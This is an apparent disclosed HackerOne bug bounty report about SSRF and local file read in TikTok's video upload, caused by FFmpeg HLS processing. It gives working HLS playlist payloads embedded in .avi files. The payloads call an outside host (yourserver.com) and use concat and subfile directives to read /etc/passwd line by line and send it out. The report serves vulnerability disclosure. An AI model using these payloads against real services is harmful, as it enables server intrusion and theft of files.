TikTok · Report #1062888
External SSRF and Local File Read via video upload due to vulnerable FFmpeg HLS processing
Summary
A local file disclosure vulnerability was found which an attacker could have used to upload a payload file via the TikTok website and potentially exfiltrate arbitrary local system files. We thank @ach for reporting this to our team and confirming the resolution.
Summary:
FFmpeg is a free and open-source software project consisting of a large suite of libraries and programs for handling video, audio, and other multimedia files and streams. At its core is the FFmpeg program itself, designed for command-line-based processing of video and audio files. It is widely used for format transcoding, basic editing (trimming and concatenation), video scaling, video post-production effects and standards compliance (SMPTE, ITU).
FFmpeg includes libavcodec, an audio/video codec library used by many commercial and free software products, libavformat (Lavf), an audio/video container mux and demux library, and the core ffmpeg command-line program for transcoding multimedia files.
The SSRF-LFR in FFmpeg is pretty well known and old vulnerability but luckily I was able to find and exploit it in https://www.tiktok.com/upload/ functionality.
At first I couldn't exploit LFR and only got SSRF to my collaborator server.
After some digging I found out that the problem was that my text editor added new line(\r\n) at the end of header.m3u8 file.
Also this vulnerability leads to DOS but I decided not to test this issue.
Exploitation:
SSRF
For SSRF you just need to upload .avi file with injected HLS-directives inside.
Example:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://yourserver.com/anything
#EXT-X-ENDLIST
After that you will get a callback to your server. The user-agent will have Lavf(libavformat) version.
LFR
In order to exploit LFR you need to host special file on your server and refer to it inside the video you wanna upload.
Example:
header.m3u8 file you need to host at your server:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:,
http://yourserver.com?
Make sure that your header.m3u8 doesn't have anything after 3f byte(? sign). You can check that with hexdump -C header.m3u8
video.avi
You need to inject these commands inside video.avi file:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://yourserver.com/header.m3u8|file:///etc/passwd
#EXT-X-ENDLIST
After uploading video.avi you will receive only first line of /etc/passwd file.
But we need more, right?
To exfiltrate the whole file(any file). We can use two techniques.
- using
header.y4m(you can find it in referenced links):
YUV4MPEG2 W30 H30 F25:1 Ip A0:0 Cmono
FRAME
This didn't work for me.
Subfile technique
In order to exfiltrate the whole file line by line you can use this directives:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://yourserver.com/header.m3u8|subfile,,start,1,end,10000,,:/etc/passwd
#EXT-X-ENDLIST
start parameter and it's value(1) means that we start from first symbol of the file and the end parameter symbolises the end of the line. There is no need to know exact end value. After getting first line you can easily calculate the start value of second line and so on.
For example for the second line our command wiil be something like:
concat:http://yourserver.com/header.m3u8|subfile,,start,70,end,10000,,:/etc/passwd
In some cases you can extract the whole file with this directive inside you video file:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:1.0
/anything.txt
#EXTINF:1.0
file:///etc/passwd
#EXT-X-ENDLIST
You could see the whole /etc/passwd as video preview.
But in our case the vulnerable software worked while our video got converted on the server side.
All of the examples of video files and files with directives you can find in referenced links and by just googling it.
References
- https://2017.zeronights.org/wp-content/uploads/materials/ZN17_yngwie_ffmpeg.pdf
- https://www.blackhat.com/docs/us-16/materials/us-16-Ermishkin-Viral-Video-Exploiting-Ssrf-In-Video-Converters.pdf
- https://docs.google.com/presentation/d/1yqWy_aE3dQNXAhW8kxMxRqtP7qMHaIfMzUDpEqFneos/edit
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/CVE%20Ffmpeg%20HLS
How it was found
The write-up for this report has not been downloaded yet, or the program disclosed it without one. Read it on HackerOne.